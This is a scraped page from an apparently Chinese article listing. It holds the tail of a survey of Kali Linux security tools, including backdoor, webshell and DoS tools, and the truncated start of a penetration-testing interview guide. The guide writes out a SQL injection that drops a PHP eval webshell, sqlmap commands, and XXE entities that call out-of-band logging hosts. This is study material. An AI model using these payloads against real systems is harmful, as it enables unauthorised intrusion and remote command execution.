密码文件的工具。密码破解采用穷举法,利用工具对密码进行自动尝试,这个过程比较耗时,并且只对弱口令有效。为了缩短时间,往往要用到密码字典,将常用的密码组合写在字典文件中,简单的排在前面,复杂的排在后面,破解密码时从字典文件的开头一个个地尝试,直到尝试出密码为止。对于一些复杂的密码,密码工具往往会失去作用,达不到效果。六、权限提升工具目前的操作系统往往是多用户系统,不同的用户有不同的访问权限,从而起到保护系统安全的目的。对系统的访问权限越大,能执行的功能就越多,安全渗透一个很重要的目标就是提升用户权限,获得更大的系统访问权,执行更多的操作。kali提供的权限提升工具如下表所示:名称使用模式描述MeterpreterShell命令行Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。在Meterpreter中可以执行Getsystem命令快速提权,Meterpreter会自己尝试用多种方法去提升权限,使得用户只需要运行一条指令就能获得System权限。SETShell命令行SET是社会工程包,是一个为社会工程设计的开放源码的渗透测试框架。它有许多自定义攻击向量,允许用户快速发起可信攻击。kali系统提供的很多漏洞利用和密码攻击附带权限提升的功能,用户可以参考kali官网中对这些工具的介绍。七、Web应用工具Web应用是互联网最重要的应用之一,其应用范围十分广泛,正是由于Web的普及,使得它几乎成为网络的代名词。同样地,Web应用存在的安全问题很多,是最容易受到攻击的应用之一,因此针对web应用的安全渗透测试十分重要,通过渗透测试有助于发现Web应用的缺点和漏洞,从而弥补web应用的脆弱性,使得Web应用更加完善。kali系统提供的Web应用工具如下表所示:名称使用模式描述Arachni命令行Arachni是一个多功能、模块化、高性能的Ruby框架,旨 在帮助渗透测试人员和管理员评估Web应用程序的安全性。同时 Arachni开源免费,可安装在Windows、Linux以及Mac系统上,并 且可导出评估报告。BlindElephant命令行BlindElephant是一款Web应用程序指纹识别工具。该工具可 以读取目标网站的特定静态文件,计算其对应的哈希值,然后和预 先计算出的哈希值做对比,从而判断目标网站的类型和版本号。目 前,该工具支持15种常见的Web应用程序的几百个版本。同时, 它还提供WordPress和Joomla的各种插件。该工具还允许用户自 已扩展,添加更多的版本支持。CutyCapt命令行CutyCapt是基于Qt实现的跨平台的将HTML网页转化成矢量 图形和位图图像格式的命令行工具(比如,SVG、PDF、PS、PNG、 JPEG、TIFF、GIF等)。DIRB命令行DIRB是一个专门用于爆破目录的工具,在Kali中默认已经安 装,类似工具还有国外的patator、dirsearch、DirBuster,国内 的御剑等。Nikto命令行Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页 服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/ CGIs、超过625种服务器版本、超过230种特定服务器问题。扫描 项和插件可以自动更新(如果需要)。基于Whisker/libwhisker 完成其底层功能。这是一款非常棒的工具,但其软件本身并不经常 更新,最新和最危险的可能检测不到。OWASPZAP图形用户界面OWASP Zed Attack Proxy Project攻击代理,是一款查找网页 应用程序漏洞的综合类渗透测试工具。它包含了拦截代理、自动处 理、被动处理、暴力破解、端口扫描以及蜘蛛搜索等功能。OWASP ZAP为会话类调试工具,调试功能对网站不会发起大量请求,对服 务器影响较小。Paros图形用户界面Paros Proxy是一个对Web应用程序的漏洞进行评估的代理程 序,它是一个基于Java的Web代理程序,可以评估Web应用程序 的漏洞。它支持动态地编辑/查看HTTP/HTTPS,从而改变cookies 和表单字段等项目。它包括一个Web通信记录程序、Web圈套程序、 hash计算器,还有一个可以测试常见的Web应用程序攻击的扫描器。 该工具检查漏洞形式包括:SQL注入、跨站点脚本攻击、目录遍历等。ProxyStrike图形用户界面ProxyStrike是一款用于web漏洞扫描的工具,需要配置代理使用,带有爬虫模块、请求报告、日志、配置等功能模块Vega图形用户界面Vega是一个开放源代码的Word应用程序安全测试平台, Vega能够帮助验证SQL注入、跨站脚本、敏感信息泄露和其他一些安全漏洞。Vega使用Java编写,有GUI,可以在Linux、OS X和 Windows下运行。W3af命令行 图形用户界面Wild(Web Application Attack and Audit Forwardwork)是 个Web应用程序攻击和审计框架。它的目标是创建一个易于使用和 扩展、能够发现和利用Web应用程序漏洞的主体框架。W3af的核心 代码和插件完全由Python编写。项目已有超过130个的插件,这 些插件可以检测SQL注入、跨站脚本、本地和远程文件包含等漏洞。Webshag命令行Webshag是一个对Web服务器进行安全审计的跨平台多线程工具。Webshag会收集那些通常对Web服务器有用的功能,比如 Webshag是一个用于对Web服务器进行安全审计的跨平台多线 端口扫描、URL扫描和文件模糊测试。可以通过代理和HTTP身份认 证(基于认证或摘要认证),以HTTP或HTTPS的方式扫描Web服务器。 此外Webshag可以凭借IDS规避能力,使请求之间的相关性变得更 复杂。WebSploitShell命令行WebSploit是一个开源项目,主要用于远程扫描和分析系统漏 洞。使用它可以非常容易和快速发现系统中存在的问题,并用于深 入分析。WhatWeb命令行Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如 它的名字一样,Whatweb能够识别各种关于网站的详细信息,包括: CMS类型、博客平台、中间件、Web框架模块、网站服务器、脚本类型、 JavaScript库、IP、cookie等等。Web应用广泛,相应的技术层出不穷,无论是用户前端还是服务器后端,都存在大量的漏洞,是黑客攻击的重点,因此Web的安全问题是网络安全一个十分重要的分支。但是学习Web安全渗透十分不易,各种客户端和服务器端技术非常庞杂,需要掌握大量的背景知识,熟悉各种脚本语言和网站架构。在学习Web安全渗透的过程中,熟练使用上述工具将对用户有很大的帮助,从而事半功倍八、无线攻击工具随着无线网络基础设施的提升,以智能手机为代表的无线网络通信得到了广泛的应用。无线网络摆脱了有线网络的限制,携带方便,用户可以随时随地访问网络。随着无线网络带宽的提升,有线网络带宽快这一优势已不明显,因此目前无线网络在智能终端应用方面已经远超有线网络,甚至在笔记本的应用上也有超越有线网络的趋势。随着越来越多的应用转移到智能手机平台,特别是手机购物、手机支付、手机理财应用的普及,近几年针对无线网络的攻击也甚嚣尘上,愈演愈烈。无线网络的安全问题与Web应用的安全问题一样,已成为安全领域一个重要的问题,不容忽视。Kali系统提供的无线攻击工具如下表所示:名称使用模式描述Aircrack-ng图形用户界面Aircrack-ng是一个与802.11标准的无线网络分析有关的 安全软件,主要功能有:虚拟管道创建、网络侦测、数据包嗅 探、WEP和WPA/WPA2-PSK破解、essid密码列表的保存和管理。 Aircrack-ng可以工作在任何支持监听模式的无线网卡上并嗅探 802.11b,802.11b,802.11g的数据。该程序可运行在Linux和 Windows上。Arpspoof命令行Arpspoof是一款专业的ARP断网攻击软件,能够直接欺骗网 关,使得通过网关访问网络的电脑全被欺骗攻击,通过ARP欺骗 达到中间人嗅探和捕获网络数据包的目的,并替换传输中的数据, 方便用户开启ARP断网攻击,抢占网速。Easy-Creds命令行Easy-Creds是一款欺骗嗅探为主的攻击脚本工具,它具备 ARP毒化、DNS毒化等一些嗅探攻击模式。它最亮的地方就是它 的fake AP(欺骗访问点)功能。它比一般自行搭建的fake AP 要稳定得多,而且里面还包含了针对802.1x的攻击模式。Gerix Wifi Cracker图形用户界面Gerix Wifi Cracker是一个aircrack图形用户界面的无线 网络破解工具,可破解无线网络密码。Kismet命令行Kismet是一款802.11二层无线网络探测器、嗅探器和入侵 检测系统,使用该工具可以检测周围的无线信号,并查看所有可 用的无线接入点,并能嗅出802.11a/b/g/n的流量。Reaver命令行Reaver是一款针对开启Wi-Fi安全防护设定(Wi-Fi Protected Setup,WPS)服务的无线网络的破解工具。Wifte图形用户界面Wifte是一款使用Aircrack-ng工具集来破解无线网络的带 图形用户界面的工具,是一款自动化WEP、WPA以及WPS破解工具, 特点是可以同时攻击多个采用WEP和WPA加密的网络。上述无线网络攻击工具很多集中在对无线接入点的攻击上,包括伪造接入点、干扰无线信号、破解WEP/WPA密码等。针对无线网络应用的攻击与有线网络应用类似,可以采用相同的方法。九、硬件黑客工具针对一些特定的软硬件平台、产品和文件格式,如Android、Arduino、树莓派、Jave虚拟机、APK文件, Kali提供了一些软硬件环境模拟器,及对应文件格式的转换、编译和反编译的工具,放在硬件黑客工具类下面,这些工具如下表所示名称使用模式描述Android-sdk图形用户界面Android-sdk是一款运行于Kali Linux系统的安卓模拟器,为 用户提供了构建、测试和调试安卓应用程序所需的API库和开发工具。Apktool命令行Apktool是一款APK(Android安装包)反编译工具,具有编译、 反编译、签名等功能。Arduino图形用户界面Arduino是一款便捷灵活、方便上手的开源电子原型平台,旨在 为艺术家、设计师、爱好者和任何感兴趣的人创造互动对象或环境。Dex2jar命令行Dex2jar是一个能操作Android的dalvik(. dex)文件格式和 Java(. class)的工具集合。Dex2jar是一个可以将. dex文件转换 成Java的. class文件的转换工具。Dex2jar与JD-GUI组合起来就 能很好地对apk文件进行一个反编译。Sakis3G命令行Sakis3G是一个经过修改的shell脚本,它能与不同厂商生产的 调制解调器建立3G连接。它能自动设置USB或蓝牙调制解调器,甚 至可以检测操作人员的设置。Smali/Baksmali命令行Smali/Baksmali分别是指安卓系统里的Java虚拟机(Dalvik) 所使用的一种. dex格式文件的汇编器/反汇编器。采用上述工具可以模拟特定的软硬件环境,提供特定文件格式的转换,帮助用户实地了解目标环境的运行情况,为进一步的安全渗透测试提供支持。十、维持访问工具在渗透进入对方系统,获取访问控制权限并提升权限之后,攻击者如想进一步维持这一访问权限,往往需要使用木马程序、后门程序和Rootkit来达到这一目的。Kali系统提供的维持访问工具如下表所示:名称使用模式描述Cryptcat命令行Cryptcat是网络工具Netcat的加密版本。Cryptcat支持TCP、UDP两种 网络协议。它可以在两个计算机之间建立指定的连接,并使用特定的密钥对 传输数据进行加密。为了提高加密效果,该工具允许用户在每次连接时使用 自定义的密钥,从而保证数据的安全性。Cymothoa命令行Cymothoa是一款可以将ShellCode注入现有进程(插入进程)的后门工具。 借助这种注入手段,它能够把ShellCode伪装成常规程序。它所注入的后门 程序能够与被注入的程序共存,以避免被管理或维护人员怀疑。将ShellCode 注入其他进程,还有另外一个优势就是:即使目标系统的安全防护工具能够 检验可执行程序的完整性,只要它不检查内存,就不能发现后门程序的进程。Intersect命令行Intersect是一款适合在漏洞利用以后使用的能够自动完成多种后期任 务的程序。它能够自动收集密码文件、赋值SSH密钥、收集网络信息,并能 识别杀毒软件和防火墙程序。若要它自动执行后期任务,用户需要创建自己 的脚本文件,脚本中指定需要执行的各种功能。对于Inetersect来说,每个 功能都有对应的执行模块。NetCat命令行NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接 (Network Connection)。它被设计成一个可靠的后端(Back-End)工具, 能被其他的程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的 网络调试和开发工具,因为它可以建立用户可能用到的几乎任何类型的连接, 以及一些非常有意思的内建功能。Weevely命令行Weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似 于Telnet的连接shell, Weevely通常用于Web程序的漏洞利用,隐藏后门 或者使用类似Telnet的方式来代替Web页面式的管理, Weevely生成的服 务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和 IDS,上传服务器端代码后通常可以通过Weevely直接运行。维持访问工具可以帮助攻击者维持对目标系统的访问控制权限,防止攻击行为被发现,同时可以留下后门,方便攻击者的下次访问。十一、取证工具在对电子证据进行取证的过程中,相应的取证工具必不可少。取证工具是在调查计算机犯罪时,为了保护证据的完整性和有效性所使用的一些辅助工具。取证工具一般分为勘查取证工具和检查取证工具两种,其中勘查取证工具包括在线取证工具、硬盘复制机、写保护接口硬件、数据擦除设备、手机取证系统等;检查取证工具则包括数据恢复工具、密码译破工具、专用计算机法证工具等。这些工具往往需要对磁盘数据、文件数据、加密数据等进行恢复和提取,从中寻找电子证据。Kali系统提供的取证工具如下表所示:名称使用模式描述Bulk _ extractor命令行Bulk _ extractor是从数字证据文件中提取诸如电子邮件地址、信 用卡号、URL和其他类型的信息的功能的程序。它是一个有用的取证 调查工具,可以用于许多任务,如恶意软件和入侵调查、身份调查和 网络调查,以及图像分析和密码破解。Capstone命令行Capstone是一款优秀的反汇编框架,支持多种CPU架构,支持多 个平台,提供反汇编指令的语义详情,用一个授权许可便可以为所有 重要编程语言提供捆包等。Dumpzilla命令行Dumpzilla是用Python 3.x开发的,目的是提取Firefox, Iceweasel和Seamonkey浏览器的相关信息进行分析。它在Unix和 Windows 32/64位系统下工作,采用命令行界面,所以信息可以通过 管道重定向工具(如grep, awk, cut, sed)进行转储。Galeta命令行Galeta是一个取证工具,用于检查微软公司Internet Explorer 生产的Cookie文件的内容。它解析文件并输出可以在电子表格中加载 的字段。Peepdf命令行Peepdf是一个用Python开发的、集成了多个组件的、用于检测 和分析PDF文件是否有害的取证工具。RegRipper图形用户界 面RegRipper是一款用来对Windows操作系统的注册表进行取证的 工具。Volatility命令行Volatility是开源的Windows, tinus:MaC, Android的内存取 证分析工具、由Python编写成,命令行操作,支持各种操作系统。电子证据其实就是计算机能够处理的数字化的数据,它以各种文件格式存储在不同类型的存储介质上。从上表中可以看出,针对不同类型的数据,需要相应的工具去读取,进行取证,有时对于加密数据,需要解密后才能取证。十二、逆向工程工具逆向工程(又称反向工程),是一种产品设计技术再现过程。在软件工程领域,一般是先进行UML设计,然后用工具生成代码,这个过程叫正向工程;相应地,从代码生成UML设计图叫作逆向工程。最典型的逆向工程就是程序代码的反汇编或反编译,通过对可执行文件的反向编译还原出其源代码的过程。对于一些危害系统安全的、感染了病毒或者含有恶意代码的可执行文件,如果让其执行可能会引起破坏,造成无法挽回的损失,这时可通过逆向工程手段还原其源代码,在不执行代码的情况下通过对源代码的分析能够更容易地判断并找出恶意代码。Kali系统提供的逆向工程工具如下表所示:名称使用模式描述diStorm3命令行diStorm3是Kali Linux自带的一款轻量级、容易使用的反汇编 引擎。它可以反汇编生成16位、32位和64位指令。它支持的指令 集包括FPU、MMX、SSE、SSE2、SSE3、SSSE3、SSE4、x86-64、VMX、 AMDs、SVM等。虽然diStorm3采用C语言编写,但可以被Python、 Ruby、Java快速封装。这样,用户可以使用Python、Rudy等脚本语言编写脚本,并引入diStorm33,从而定制自己的反汇编工具。edb-debugger图形用户界面edb-debugger是一个跨平台的x86/x86-64调试器。它受到 Ollydbg的启发,但是其目标是在x86和x86-64以及多个操作系 统上运行。Linux是目前edb-debugger唯一官方支持的平台,但 FreeBSD,OpenBSD,OSX和Windows端口正在进行不同程度的功能实现。Flasm命令行Flasm可以对Flash的SWF文件进行拆解,包括所有的时间表和 事件。通过反汇编,用户可以了解Flash编译器的工作原理,从而提 高用户的ActionScript技能。用户也可以手动对反汇编代码进行优 化,或者根据需要调整代码,然后利用Flasm将用户的更改应用于原 SWF,替换原始操作JavaSnoop图形用户界面JavaSnoop是一个java应用程序安全测试工具,它允许已拦截的方法,篡改数据和hack运行在计算机上的java应用程序。通常在没 JavaSnoop是一个java应用程序安全测试工具,它允许以拦截的 有源代码的情况下,测试java客户端的安全性是不可预知的。在有源 代码的情况下,可以运行一个简单的java程序,并在远程附加一个调 试器来调试它,单步运行,根据需要改变变量,但对于一个applet来 说要想做到这一点是有点困难的。有时,可能需要修改客户端和服务 器之间的通信,一般的做法是在客户端配置一个代理,在代理上修改 数据。问题的关键是,通信的数据通常不是明文的,可能使用了自定 义的协议、序列化的对象、加密的数据或者多种方式混合应用。这样 要想修改通信过程中的数据是比较困难的。JavaSnoop试图解决这些 问题,它可直接附加到一个运行中的进程,类似于调试器,然后,篡 改方法调用、运行自定义代码或者对系统进行监视。011yDbg图形用户界面011yDbg是一个新的动态追踪工具,将IDA与SoftICE结合起来, Ring 3级调试器,非常容易上手,已代替SoftICE成为当今最为流行 的调试解密工具。同时还支持插件扩展功能,是目前最强大的调试工具。Valgrind命令行Valgrind是一款用于内存调试、内存泄漏检测以及性能分析的软 件开发工具。在信息安全领域,逆向工程往往与编程相关,涉及程序代码的编译、反编译、调试等,其目的是分析代码、跟踪代码的运行,判断并评估代码执行的安全性,从中发现可能的恶意代码。十三、压力测试工具压力测试是一种基本的质量保证行为,测试的对象可以是一个独立的应用软件或者是一个完整的系统。它是每个产品在流向市场之前进行的一项重要的、全方位的质量检测。压力测试的基本思路很简单,它不是在常规条件下运行手动或自动测试,而是在计算机数量较少或系统资源匮乏的条件下运行测试。通常要进行压力测试的资源包括内存、CPU、磁盘空间和网络带宽。压力测试的时间往往持续很久,其目的是通过大量的、全面的操作使得产品长时间、高负荷地工作来检验产品的质量。Kali系统提供的压力测试工具如下表所示:名称使用模式描述DHCPig命令行DHCPig可以发起一个高级的DHCP耗尽攻击。它将消耗局域网内的所 有IP地址以及阻止新客户端获取IP,同时它也防止旧客户端释放IP地址。 另外,它会发送无效的ARP去把所有的Windows主机震下线。FunkLoad命令行FunkLoad是一个功能和负载的Web测试仪,主要用于Web项目,对网 站项目进行功能测试、性能测试、负载测试(如音量的测试或寿命测试) 和压力测试。iaxflood命令行IAX是Inter-Asterisk eXchange的缩写,也就是Asterisk内部交换 协议。iaxflood则是利用IAX设计缺陷而发起洪水式攻击的工具。Inundator命令行Inundator是一个支持多目标的、多线程的、队列驱动的、匿名的、 误用入侵检测系统。MDK3命令行MDK3是一款无线DOS攻击测试工具,能够发起Beacon Flood、 Authentication DoS、Deauthentication/Disassociation Amok等模式的 攻击,另外它还具有针对隐藏ESSID的暴力探测模式、802.1X渗透测试、 WIDS干扰等功能。rtpflood命令行rtpflood可以洪水攻击RTP通话设备,实现拒绝服务的效果。inviteflood命令行inviteflood通过TCP/UDP进行泛洪攻击的SIP/SDP会话,该工具可 以在本机产生大量的流量,因为需要在本地读取数据进行对外发送。所以 在流量监控时可能会产生40M/s的速度。SlowHTTPTest命令行lowHTTPTest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基 本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度 缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并 发将导致DoS。THC-SSL-DOS命令行HC-SSL-DOS是一款针对SSL的压力测试工具。该工具默认会同服务 器建立400个SSL连接,并且快速进行重新协商Renegotiations,以达到 大量消耗服务器CPU资源的目的。该工具目前只针对开启重新协商功能的 服务器,所以只要关闭该功能,就可以抵御该工具的攻击。目前很多用于DoS攻击的工具被用来作为压力测试工具,它们的工作原理其实是相同的,都是通过大量的任务耗尽系统资源(CPU、存储和网络带宽)的方法来测试目标的抗压能力。十四、报告工具在一次渗透测试结束后,往往需要利用报告工具来生成报告,供工作人员进行存档或者工作报告。一些功能强大且友好的报告工具生成的报告不只包含最终的结果,还包括一些重要的原始数据、中间数据和对数据的分析,并且最终的报告形式可以是多样的、可视化的,用各种图表来生动形象地将结果更好地展示出来。Kali系统提供的报告工具如下表所示:名称使用模式描述CaseFile图形用户界面CaseFile是Maltego的姊妹工具,功能非常类似于Maltego。 CaseFile主要针对数据进行离线分析,缺少Maltego的数据采集功能。 它可以导入各类数据,包括Maltego导出的数据。用户可以为信息添 加连接线、标签和注释,标记数据的关系。CaseFile以图形化的方式 展现数据,方便分析人员找出隐含的数据关系。CherryTree图形用户界面支持富文本编辑和代码高亮,支持Linux和Windows平台。数据采用 CherryTree是一个支持无限层级分类的笔记软件,由Python编与, sqlite或XML存储,支持密码保护。支持从NoteCase、KeepNote、 Knowit、Tomboy、TuxCards、Treepad、Leo等笔记软件导入数据。dos2unix命令行dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的文 本。Dradis图形用户界面Dradis框架是一个开源的、用Ruby开发的协作和报告平台。可 生成渗透测试报告,内容包括所提供的服务、使用的方法、发现的结 果和建议。MagicTree图形用户界面MagicTree是一个面向渗透测试人员的工具,可以帮助用户轻松 直接地进行数据合并、查询、外部命令执行和报告生成,所有的数据 都会以树形结构存储,非常方便。MetagoofilShell命令行Metagoofil是一款利用Google收集信息的工具,目前支持的文 件类型有Word、PPT、Excel和PDF,结果可生成HTML报告文件。上述报告工具都有其各自的应用领域,在使用时要根据实际情况来选择。但不管是哪种工具,都使得报告的生成更加自动和便利,节省了工作人员的时间。十五、kali Top10 工具针对繁多的Kali工具,业界总结出Kali Top10工具,这些工具功能强大、使用广泛,是Kali工具集中使用最为频繁的十大工具。这些工具分别是:Nmap(信息收集、脆弱性分析)、Metasploit(漏洞利用)、John the Ripper(密码攻击)、THC-Hydra(密码攻击)、Wireshark(信息收集、嗅探与欺骗)、Aircrack-NG(无线攻击)、Maltego Teeth(信息收集、漏洞利用、密码攻击、Web应用)、OWASPZAP(Web应用)、Cain&Abel(嗅探与欺骗、密码攻击)、Nikto(Web应用、信息收集)。这些工具在前面的部分都有介绍,掌握这些工具的使用对从事安全渗透测试工作有着很大的帮助,是信息安全的利器。本章小结本篇文章按照安全工具的类型,对Kali系统自带的、常用的安全工具做了介绍。无论是对于安全专家还是攻击者,安全工具都是他们从事安全工作的利器。一个好的安全从业人员,熟练掌握各种类型的安全工具是必不可少的。Kali系统免去了人们寻找、安装安全工具的烦恼,大大方便了对安全的学习、研究和工作。但是Kali系统自带的安全工具如此之多,这些工具的功能、作用是什么?什么时候应该使用什么工具?也是一件令人烦恼的事情。为此本篇文章对一些常见的工具按照功能进行了分类介绍,为安全工作人员提供了便利。
文章
安全  ·  网络协议  ·  Java  ·  测试技术  ·  Shell  ·  Linux  ·  网络安全  ·  数据安全/隐私保护  ·  Windows  ·  Python
2022-09-12
2022渗透测试面试大全(过来人的全部家底)
 大家可以关注关注我的公众号 定期分享一些干货直接搜索-小白渗透测试编辑面试过很多次渗透测试岗位,整理的面试题改了又改,这是我的最终版本,绝对的干货,记得收藏保存。目录渗透测试流程业务逻辑漏洞挖到过的漏洞sql注入跨站脚本攻击XSSCSRF跨站请求伪造SSRF服务器端请求伪造文件上传文件解析XXE即xml外部实体注入漏洞XSS和CSRF的区别CSRF和SSRF的区别CSRF 和 XSS 和 XXE 区别中间件漏洞PHP代码审计容易出问题的点GET 和 POST 的区别Cookie和Session的区别webshell的检测方法反弹shell常用命令内网渗透提权免杀应急响应反序列化溯源owasp top10域渗透登陆界面测试思路DNSlog使用渗透测试流程首先拿到书面权限。 (1)信息收集 1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。 2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的 cms 或者其他漏洞。 3.查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如 IIS,APACHE,NGINX 的解析漏洞 4.查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如mysql-3306,ftp-21,ssh -22等。5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏。可以使用dirb、ffuf工具扫描目标网站的目录。 6.google hack 进一步探测网站的信息,后台,敏感文件 。 7.可以对网站架构探测-获取网站的插件信息,比如说js版本,cms类型,中间件信息。如火狐插件-wappalyzer,CMS指纹识别、查看数据包的响应头。 8.资产收集工具-灯塔系统,OneForAll-master。 (2)漏洞扫描 开始检测漏洞,我们可以使用漏洞扫描工具:awvs、nessus、appscan、xray。同时,配合手动测试,如 sql注入,xss跨站脚本、csrf跨站请求伪造、xxe漏洞、ssrf服务端请求伪造、文件包含、文件上传、文件解析、远程代码执行漏洞、越权访问漏洞、反序列化漏洞等 。(3)漏洞利用 可以利用一些方式拿到 webshell。如:sql注入-sqlmap,XSS跨站脚本-Beef-XSS、抓包工具-brup、文件上传漏洞-一句话木马 (4)权限提升 获得了webshell后,一般权限很低,所以我们需要提权。1.mysql提权2.windows溢出提权3.linux脏牛,内核漏洞提权(CVE-2016-5195)(cve-2021-4034)。 (5)日志清理 (6)总结报告及修复方案业务逻辑漏洞1.越权漏洞         水平越权:一般是修改get或post参数来查看其他人的业务信息,一般是在订单处或个人信息处。例如:2个账号,修改账号1的get或post参数去查看账号2的信息。         垂直越权:两个账号,一个普通,一个管理员,抓包修改管理员的参数,权限类型不变,权限ID改变,普通账号获得与管理员相同的权限。 2.密码找回         攻击者只要通过在本地抓取数据包并对其内容加以分析就能获取到其他用户的用户凭证,从而达到重置任意用户密码的目的。         找回密码功能模块通常会将用户凭证(通常为验证码或者链接)发送到用户注册时使用的手机号或者邮箱中,只要用户不泄露自己的用户凭证就不会被攻击者利用。但有些信息系统在密码找回功能的设计存在逻辑缺陷,可能会将用于用户自证身份的信息的用户凭证以各种各样的方式返回到客户端。         防御:1.不要将token验证之类的数据直接返回给用户数据包。2.用户身份验证一定要在后端实现。 3.支付逻辑漏洞         服务器端没有对客户端请求数据中的金额、数量等敏感信息作校验,攻击者通过bp抓包修改任意金额购买商品或者给账号充值等。        防御:1.在请求数据中对涉及金额、数量等敏感信息进行加密,并在服务器端对其进行校验。2.支付交易请求数据中加入token,防止重放攻击。 4.验证码相关漏洞         验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。         验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。         验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。 5.重放攻击漏洞         比如说点赞或者签到地方,服务器是根据ip地址识别当前用户是否已点赞的,在数据包里添加一行X-Forwarded-For来伪造http客户端ip,使用bp抓包后发到intruder里遍历IP,设置payload去攻击,经过多次重放,可导致多次签到。         防御:1.添加token值2.添加时间戳。挖到过的漏洞水平越权 垂直越权 支付漏洞 重放攻击 弱口令 任意文件上传sql注入简介主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。分类:1、基于时间的盲注(查看延迟语句是否执行)2、基于布尔的盲注(根据返回页面判断条件真假)3、基于报错注入(页面会返回报错信息)4、基于数字型注入(分为联合查询注入、堆查询注入、宽字节注入)防御:1.使用预编译语句,绑定变量2.过滤特殊符号3.检查变量的数据类型和格式4.使用白名单来规范化输入验证方法 1.获取数据库名 select SCHEMA_NAME from information_schema.SCHEMATA2.获取表名select TABLE_NAME from information_schema.TABLES3.获取字段名select * from information_schema.COLUMNS where TABLE_NAME="users" and TABLE_SCHEMA="security"4.获取数据select id,username,password from users绕过waf7.替换大小写8.替换关键字9.编码:16进制编码、unicode编码10.插入注释11.特殊符号12.缓冲区溢出。Sql注入流程:判断是否有回显,有回显尝试联合查询,无回显查看是否有数据库报错信息,有报错信息可以尝试报错注入。无回显无报错信息,尝试盲注(时间和布尔)sqlmap,怎么对⼀个注⼊点注⼊?1)如果是 get 型号,直接,sqlmap -u "诸如点⽹址".2) 如果是 post 型诸如点,可以 sqlmap -u "注⼊点⽹址” --data="post 的参数 "3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,⽤ burpsuite 抓包,注⼊处⽤*号替换,放到⽂件⾥,然后sqlmap -r "⽂件地址报错注入函数:1.updatexml()函数 2.extractvalue()函数  3.floor()函数盲注和延时注入的共同点?都是一个字符一个字符的判断SQL语句写入webshell    1.联合查询:通过SQL注入select into outfile实现。1' union select 1,"<?php @eval($_GET['cmd'])?>" into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php' --    2.盲注或报错:可以通过分隔符写入,利用lines terminated by语句进行拼接,拼接后面的webshell内容。1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\321.php' lines terminated by '<?php phpinfo(); ?>'--跨站脚本攻击XSS简介:攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。分类:反射型(非持久型)XSS、存储型(持久型)XSS、DOM型XSS.区别:DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。防御:1.使用XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并过滤可能存在的脚本攻击及恶意的THML或简单的HTML格式错误等。2.输入过滤输入是否仅仅包含合法的字符;输入字符串是否超过最大长度限制;输入如果为数字,数字是否在指定的范围;输入是否符合特殊的格式要求,如E-mail地址、IP地址等3.输出编码<(小于号) 转成 <> (大于号)转成 >& (和号)转成 &" (双引号)转成 "' (单引号)转成 '4.黑名单和白名单5.内容安全策略(csp):CSP用于限制浏览器查看您的页面,以便它只能使用从受信任来源下载的资源。CSRF跨站请求伪造原理网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。防御1.验证 HTTP Referer 字段2.在请求地址中添加 token 并验证3.在 HTTP 头中自定义属性并验证SSRF服务器端请求伪造原因服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。防御1.限制协议:仅允许http和https请求。2.限制IP:避免应用被用来获取内网数据,攻击内网。3.限制端口:限制请求的端口为http常用的端口,比如,80,443,8080,8090。4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。有回显    直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。无回显    1.先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。    "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."    "... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\aa"> ..."    2.使用burp的collaborator来进行尝试    3.开启apache服务,在存在ssrf处访问http://10.1.1.200(本机服务地址),查看服务器日志信息,打开日志确定是否被访问,确定是否存在ssrf漏洞。文件上传文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力通过利用任意文件上传漏洞可以最快获取WebShell,一般常见有三种情况:1.站点没有任何防护,且上传点未做安全校验,则可直接上传WebShell文件。2.站点存在简单防护:    